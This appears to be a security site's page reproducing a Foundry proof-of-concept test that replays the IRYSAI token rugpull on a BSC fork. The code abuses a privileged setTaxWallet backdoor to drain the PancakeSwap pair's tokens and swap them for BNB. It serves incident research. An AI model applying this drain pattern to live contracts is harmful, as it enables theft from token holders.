Skip to content
THREATWIRE

Public reproduction file

src/test/2025-05/IRYSAI_exp.sol

Public reproduction file for dataset entry IRYSAI.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-05/IRYSAI_exp.sol104 lines
1pragma solidity ^0.8.10;
2
3import "forge-std/Test.sol";
4import "../interface.sol";
5
6// @KeyInfo - Total Lost : 69.6K USD
7// Attacker :
8// Attack Contract :
9// Vulnerable Contract :
10// Backdoor Tx : https://bscscan.com/tx/0x8c637fc98ad84b922e6301c0b697167963eee53bbdc19665f5d122ae55234ca6
11// Rugpull Tx : https://bscscan.com/tx/0xe9a66bad8975f2a7b68c74992054c84d6d80ac4c543352e23bf23740b8858645
13// @Info
14// Vulnerable Contract Code :
16// @Analysis
17// Post-mortem : https://x.com/TenArmorAlert/status/1925012844052975776
18// Twitter Guy : https://x.com/TenArmorAlert/status/1925012844052975776
19// Hacking God : N/A
21address constant PancakeRouter = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
22address constant PancakeFactory = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;
23address constant IRYSAI = 0x746727FC8212ED49510a2cB81ab0486Ee6954444;
24address constant PancakePair = 0xeB703Ed8C1A3B1d7E8E29351A1fE5E625E2eFe04;
25address constant addr1 = 0xc4cE1E4A8Cd2Ba980646e855817252C7AA9C4AE8;
26address constant addr3 = 0x20bB82f7C5069c2588fa900eD438FEFD2Ae36827;
28address constant addr2 = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
30interface IPancakeRouter02 {
31 function factory() external view returns (address);
32 function WETH() external view returns (address);
33 function swapExactTokensForETHSupportingFeeOnTransferTokens(
34 uint amountIn,
35 uint amountOutMin,
36 address[] calldata path,
37 address to,
38 uint deadline
39 ) external;
42contract ContractTest is Test {
43 function setUp() public {
44 vm.createSelectFork("bsc", 49994891);
45 }
47 function testPoC() public {
48 emit log_named_decimal_uint("before attack: balance of addr3", address(addr3).balance, 18);
49 vm.startPrank(addr1, addr1);
50 addr3C attC = new addr3C();
51 IIRYSAI(IRYSAI).setTaxWallet(address(attC));
52 vm.startPrank(addr3, addr3);
53 attC.burn();
54 vm.stopPrank();
55 emit log_named_decimal_uint("after attack: balance of addr3", address(addr3).balance, 18);
56 }
59// 0x6233a81BbEcb355059DA9983D9fC9dFB86D7119f
60contract addr3C {
61 receive() external payable {}
63 function burn() public {
64 require(msg.sender == addr3, "only addr3");
66 address factory = IPancakeRouter02(PancakeRouter).factory();
67 address weth = IPancakeRouter02(PancakeRouter).WETH();
68 address pair = IPancakeFactory(factory).getPair(IRYSAI, weth);
69 uint256 balPair = IIRYSAI(IRYSAI).balanceOf(pair);
71 uint256 amount = balPair - (balPair / 10000);
72 IIRYSAI(IRYSAI).transferFrom(pair, address(this), amount);
73 IPancakePair(pair).sync();
74 uint256 balThis = IIRYSAI(IRYSAI).balanceOf(address(this));
76 IERC20(IRYSAI).approve(PancakeRouter, type(uint256).max);
78 address[] memory path = new address[](2);
79 path[0] = IRYSAI;
80 path[1] = addr2; // WBNB
82 IPancakeRouter02(PancakeRouter).swapExactTokensForETHSupportingFeeOnTransferTokens(
83 balThis,
84 0,
85 path,
86 address(this),
87 block.timestamp
88 );
90 (bool s, ) = payable(addr3).call{value: 107462996233504225783}("");
91 require(s, "transfer failed");
92 }
94 fallback() external payable {}
97interface IPancakeFactory {
98 function getPair(address, address) external returns (address);
100interface IIRYSAI {
101 function setTaxWallet(address) external;
102 function transferFrom(address, address, uint256) external returns (bool);
103 function balanceOf(address) external returns (uint256);

Analysis

Dataset entry

Public Foundry test for “IRYSAI” (2025-05-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

16 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Vulnerable Contract

    0x8c637fc98ad84b922e6301c0b697167963eee53b

File record

Name
IRYSAI
Path
src/test/2025-05/IRYSAI_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
1d9816cadf5d208a8cc5257516a9b5dd366b5a8a
Language
Solidity
Size
104 lines
Date
2025-05-20
Licence
ThreatWire editorial text
Retrieved
2026-10-19

Provenance

Path src/test/2025-05/IRYSAI_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1d9816cadf5d208a8cc5257516a9b5dd366b5a8a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.